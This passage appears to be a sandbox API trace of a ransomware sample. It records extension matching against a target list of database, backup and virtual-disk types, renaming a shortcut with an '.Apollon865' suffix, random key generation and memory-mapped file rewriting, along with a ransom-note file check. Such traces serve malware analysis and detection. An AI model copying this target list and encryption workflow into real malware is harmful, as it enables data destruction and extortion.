	[0046.894] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0046.894] lstrlenW (lpString="ask") returned 3
	[0046.894] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0046.894] lstrlenW (lpString="btr") returned 3
	[0046.894] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0046.894] lstrlenW (lpString="cat") returned 3
	[0046.894] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0046.894] lstrlenW (lpString="cdb") returned 3
	[0046.894] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0046.895] lstrlenW (lpString="ckp") returned 3
	[0046.895] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0046.895] lstrlenW (lpString="cma") returned 3
	[0046.895] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0046.895] lstrlenW (lpString="cpd") returned 3
	[0046.895] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0046.895] lstrlenW (lpString="dacpac") returned 6
	[0046.895] lstrcmpiW (lpString1="me.lnk", lpString2="dacpac") returned 1
	[0046.895] lstrlenW (lpString="dad") returned 3
	[0046.895] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0046.895] lstrlenW (lpString="dadiagrams") returned 10
	[0046.895] lstrcmpiW (lpString1="Chrome.lnk", lpString2="dadiagrams") returned -1
	[0046.895] lstrlenW (lpString="daschema") returned 8
	[0046.895] lstrcmpiW (lpString1="rome.lnk", lpString2="daschema") returned 1
	[0046.895] lstrlenW (lpString="db-journal") returned 10
	[0046.895] lstrcmpiW (lpString1="Chrome.lnk", lpString2="db-journal") returned -1
	[0046.895] lstrlenW (lpString="db-shm") returned 6
	[0046.895] lstrcmpiW (lpString1="me.lnk", lpString2="db-shm") returned 1
	[0046.895] lstrlenW (lpString="db-wal") returned 6
	[0046.895] lstrcmpiW (lpString1="me.lnk", lpString2="db-wal") returned 1
	[0046.895] lstrlenW (lpString="dbc") returned 3
	[0046.895] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0046.895] lstrlenW (lpString="dbs") returned 3
	[0046.895] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0046.895] lstrlenW (lpString="dbt") returned 3
	[0046.895] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0046.895] lstrlenW (lpString="dbv") returned 3
	[0046.895] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0046.895] lstrlenW (lpString="dbx") returned 3
	[0046.895] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0046.895] lstrlenW (lpString="dcb") returned 3
	[0046.895] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0046.895] lstrlenW (lpString="dct") returned 3
	[0046.895] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0046.895] lstrlenW (lpString="dcx") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1
	[0046.896] lstrlenW (lpString="ddl") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1
	[0046.896] lstrlenW (lpString="dlis") returned 4
	[0046.896] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1
	[0046.896] lstrlenW (lpString="dp1") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1
	[0046.896] lstrlenW (lpString="dqy") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1
	[0046.896] lstrlenW (lpString="dsk") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1
	[0046.896] lstrlenW (lpString="dsn") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1
	[0046.896] lstrlenW (lpString="dtsx") returned 4
	[0046.896] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1
	[0046.896] lstrlenW (lpString="dxl") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1
	[0046.896] lstrlenW (lpString="eco") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1
	[0046.896] lstrlenW (lpString="ecx") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1
	[0046.896] lstrlenW (lpString="edb") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1
	[0046.896] lstrlenW (lpString="epim") returned 4
	[0046.896] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1
	[0046.896] lstrlenW (lpString="fcd") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1
	[0046.896] lstrlenW (lpString="fdb") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1
	[0046.896] lstrlenW (lpString="fic") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1
	[0046.896] lstrlenW (lpString="flexolibrary") returned 12
	[0046.896] lstrcmpiW (lpString1="e Chrome.lnk", lpString2="flexolibrary") returned -1
	[0046.896] lstrlenW (lpString="fm5") returned 3
	[0046.896] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1
	[0046.897] lstrlenW (lpString="fmp") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1
	[0046.897] lstrlenW (lpString="fmp12") returned 5
	[0046.897] lstrcmpiW (lpString1="e.lnk", lpString2="fmp12") returned -1
	[0046.897] lstrlenW (lpString="fmpsl") returned 5
	[0046.897] lstrcmpiW (lpString1="e.lnk", lpString2="fmpsl") returned -1
	[0046.897] lstrlenW (lpString="fol") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1
	[0046.897] lstrlenW (lpString="fp3") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1
	[0046.897] lstrlenW (lpString="fp4") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1
	[0046.897] lstrlenW (lpString="fp5") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1
	[0046.897] lstrlenW (lpString="fp7") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1
	[0046.897] lstrlenW (lpString="fpt") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1
	[0046.897] lstrlenW (lpString="frm") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1
	[0046.897] lstrlenW (lpString="gdb") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0046.897] lstrlenW (lpString="gdb") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0046.897] lstrlenW (lpString="grdb") returned 4
	[0046.897] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1
	[0046.897] lstrlenW (lpString="gwi") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1
	[0046.897] lstrlenW (lpString="hdb") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1
	[0046.897] lstrlenW (lpString="his") returned 3
	[0046.897] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1
	[0046.897] lstrlenW (lpString="ib") returned 2
	[0046.898] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1
	[0046.898] lstrlenW (lpString="idb") returned 3
	[0046.898] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1
	[0046.898] lstrlenW (lpString="ihx") returned 3
	[0046.898] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1
	[0046.898] lstrlenW (lpString="itdb") returned 4
	[0046.898] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1
	[0046.898] lstrlenW (lpString="itw") returned 3
	[0046.898] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1
	[0046.898] lstrlenW (lpString="jet") returned 3
	[0046.898] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1
	[0046.898] lstrlenW (lpString="jtx") returned 3
	[0046.898] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1
	[0046.898] lstrlenW (lpString="kdb") returned 3
	[0046.898] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1
	[0046.898] lstrlenW (lpString="kexi") returned 4
	[0046.898] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1
	[0046.898] lstrlenW (lpString="kexic") returned 5
	[0046.898] lstrcmpiW (lpString1="e.lnk", lpString2="kexic") returned -1
	[0046.898] lstrlenW (lpString="kexis") returned 5
	[0046.898] lstrcmpiW (lpString1="e.lnk", lpString2="kexis") returned -1
	[0046.898] lstrlenW (lpString="lgc") returned 3
	[0046.898] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1
	[0046.898] lstrlenW (lpString="lwx") returned 3
	[0046.898] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1
	[0046.898] lstrlenW (lpString="maf") returned 3
	[0046.898] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1
	[0046.898] lstrlenW (lpString="maq") returned 3
	[0046.898] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1
	[0046.898] lstrlenW (lpString="mar") returned 3
	[0046.898] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1
	[0046.898] lstrlenW (lpString="marshal") returned 7
	[0046.898] lstrcmpiW (lpString1="ome.lnk", lpString2="marshal") returned 1
	[0046.898] lstrlenW (lpString="mas") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1
	[0046.899] lstrlenW (lpString="mav") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1
	[0046.899] lstrlenW (lpString="maw") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1
	[0046.899] lstrlenW (lpString="mdbhtml") returned 7
	[0046.899] lstrcmpiW (lpString1="ome.lnk", lpString2="mdbhtml") returned 1
	[0046.899] lstrlenW (lpString="mdn") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1
	[0046.899] lstrlenW (lpString="mdt") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1
	[0046.899] lstrlenW (lpString="mfd") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1
	[0046.899] lstrlenW (lpString="mpd") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1
	[0046.899] lstrlenW (lpString="mrg") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1
	[0046.899] lstrlenW (lpString="mud") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1
	[0046.899] lstrlenW (lpString="mwb") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1
	[0046.899] lstrlenW (lpString="myd") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1
	[0046.899] lstrlenW (lpString="ndf") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1
	[0046.899] lstrlenW (lpString="nnt") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1
	[0046.899] lstrlenW (lpString="nrmlib") returned 6
	[0046.899] lstrcmpiW (lpString1="me.lnk", lpString2="nrmlib") returned -1
	[0046.899] lstrlenW (lpString="ns2") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1
	[0046.899] lstrlenW (lpString="ns3") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1
	[0046.899] lstrlenW (lpString="ns4") returned 3
	[0046.899] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1
	[0046.900] lstrlenW (lpString="nsf") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1
	[0046.900] lstrlenW (lpString="nv") returned 2
	[0046.900] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1
	[0046.900] lstrlenW (lpString="nv2") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1
	[0046.900] lstrlenW (lpString="nwdb") returned 4
	[0046.900] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1
	[0046.900] lstrlenW (lpString="nyf") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1
	[0046.900] lstrlenW (lpString="odb") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0046.900] lstrlenW (lpString="odb") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0046.900] lstrlenW (lpString="oqy") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1
	[0046.900] lstrlenW (lpString="ora") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1
	[0046.900] lstrlenW (lpString="orx") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1
	[0046.900] lstrlenW (lpString="owc") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1
	[0046.900] lstrlenW (lpString="p96") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1
	[0046.900] lstrlenW (lpString="p97") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1
	[0046.900] lstrlenW (lpString="pan") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1
	[0046.900] lstrlenW (lpString="pdb") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1
	[0046.900] lstrlenW (lpString="pdm") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1
	[0046.900] lstrlenW (lpString="pnz") returned 3
	[0046.900] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1
	[0046.901] lstrlenW (lpString="qry") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1
	[0046.901] lstrlenW (lpString="qvd") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1
	[0046.901] lstrlenW (lpString="rbf") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1
	[0046.901] lstrlenW (lpString="rctd") returned 4
	[0046.901] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1
	[0046.901] lstrlenW (lpString="rod") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1
	[0046.901] lstrlenW (lpString="rodx") returned 4
	[0046.901] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1
	[0046.901] lstrlenW (lpString="rpd") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1
	[0046.901] lstrlenW (lpString="rsd") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1
	[0046.901] lstrlenW (lpString="sas7bdat") returned 8
	[0046.901] lstrcmpiW (lpString1="rome.lnk", lpString2="sas7bdat") returned -1
	[0046.901] lstrlenW (lpString="sbf") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1
	[0046.901] lstrlenW (lpString="scx") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1
	[0046.901] lstrlenW (lpString="sdb") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1
	[0046.901] lstrlenW (lpString="sdc") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1
	[0046.901] lstrlenW (lpString="sdf") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1
	[0046.901] lstrlenW (lpString="sis") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1
	[0046.901] lstrlenW (lpString="spq") returned 3
	[0046.901] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1
	[0046.901] lstrlenW (lpString="te") returned 2
	[0046.901] lstrcmpiW (lpString1="nk", lpString2="te") returned -1
	[0046.901] lstrlenW (lpString="teacher") returned 7
	[0046.902] lstrcmpiW (lpString1="ome.lnk", lpString2="teacher") returned -1
	[0046.902] lstrlenW (lpString="tmd") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1
	[0046.902] lstrlenW (lpString="tps") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1
	[0046.902] lstrlenW (lpString="trc") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0046.902] lstrlenW (lpString="trc") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0046.902] lstrlenW (lpString="trm") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1
	[0046.902] lstrlenW (lpString="udb") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1
	[0046.902] lstrlenW (lpString="udl") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1
	[0046.902] lstrlenW (lpString="usr") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1
	[0046.902] lstrlenW (lpString="v12") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1
	[0046.902] lstrlenW (lpString="vis") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1
	[0046.902] lstrlenW (lpString="vpd") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1
	[0046.902] lstrlenW (lpString="vvv") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1
	[0046.902] lstrlenW (lpString="wdb") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1
	[0046.902] lstrlenW (lpString="wmdb") returned 4
	[0046.902] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1
	[0046.902] lstrlenW (lpString="wrk") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1
	[0046.902] lstrlenW (lpString="xdb") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1
	[0046.902] lstrlenW (lpString="xld") returned 3
	[0046.902] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1
	[0046.903] lstrlenW (lpString="xmlff") returned 5
	[0046.903] lstrcmpiW (lpString1="e.lnk", lpString2="xmlff") returned -1
	[0046.903] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Desktop\\Google Chrome.lnk.Apollon865") returned 52
	[0046.903] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk.Apollon865" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk.apollon865"), dwFlags=0x1) returned 1
	[0046.903] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk.Apollon865" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0046.903] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2257) returned 1
	[0046.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0046.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0046.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0046.904] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0046.905] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0046.905] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.905] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbe0, lpName=0x0) returned 0x160
	[0046.905] MapViewOfFile (hFileMappingObject=0x160, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbe0) returned 0x120000
	[0046.905] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0046.906] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0046.906] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba970
	[0046.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baa88
	[0046.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0046.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baa88 | out: hHeap=0x580000) returned 1
	[0046.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0046.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba970 | out: hHeap=0x580000) returned 1
	[0046.906] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0046.906] CloseHandle (hObject=0x160) returned 1
	[0046.906] CloseHandle (hObject=0x15c) returned 1
	[0046.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0046.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0046.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0046.908] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dca1e90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dca1e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.908] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.908] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".") returned 1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="..") returned 1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="windows") returned -1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="bootmgr") returned 1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="temp") returned -1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="pagefile.sys") returned -1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="boot") returned 1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="ids.txt") returned 1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="ntuser.dat") returned -1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="perflogs") returned -1
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="MSBuild") returned -1
	[0046.908] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19
	[0046.908] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\Google Chrome.lnk") returned 41
	[0046.908] lstrcpyW (in: lpString1=0x119e638, lpString2="Mozilla Firefox.lnk" | out: lpString1="Mozilla Firefox.lnk") returned="Mozilla Firefox.lnk"
	[0046.908] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19
	[0046.908] lstrlenW (lpString="Apollon865") returned 10
	[0046.908] lstrcmpiW (lpString1="irefox.lnk", lpString2="Apollon865") returned 1
	[0046.908] lstrlenW (lpString=".dll") returned 4
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".dll") returned 1
	[0046.908] lstrlenW (lpString=".lnk") returned 4
	[0046.908] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".lnk") returned 1
	[0046.909] lstrlenW (lpString=".ini") returned 4
	[0046.909] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".ini") returned 1
	[0046.909] lstrlenW (lpString=".sys") returned 4
	[0046.909] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".sys") returned 1
	[0046.909] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19
	[0046.909] lstrlenW (lpString="bak") returned 3
	[0046.909] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0046.909] lstrlenW (lpString="ba_") returned 3
	[0046.909] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0046.909] lstrlenW (lpString="dbb") returned 3
	[0046.909] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0046.909] lstrlenW (lpString="vmdk") returned 4
	[0046.909] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0046.909] lstrlenW (lpString="rar") returned 3
	[0046.909] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0046.909] lstrlenW (lpString="zip") returned 3
	[0046.909] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0046.909] lstrlenW (lpString="tgz") returned 3
	[0046.909] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0046.909] lstrlenW (lpString="vbox") returned 4
	[0046.909] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0046.909] lstrlenW (lpString="vdi") returned 3
	[0046.909] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0046.909] lstrlenW (lpString="vhd") returned 3
	[0046.909] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0046.909] lstrlenW (lpString="vhdx") returned 4
	[0046.909] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0046.909] lstrlenW (lpString="avhd") returned 4
	[0046.909] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0046.909] lstrlenW (lpString="db") returned 2
	[0046.909] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0046.909] lstrlenW (lpString="db2") returned 3
	[0046.909] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0046.909] lstrlenW (lpString="db3") returned 3
	[0046.910] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0046.910] lstrlenW (lpString="dbf") returned 3
	[0046.910] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0046.910] lstrlenW (lpString="mdf") returned 3
	[0046.910] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0046.910] lstrlenW (lpString="mdb") returned 3
	[0046.910] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0046.910] lstrlenW (lpString="sql") returned 3
	[0046.910] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0046.910] lstrlenW (lpString="sqlite") returned 6
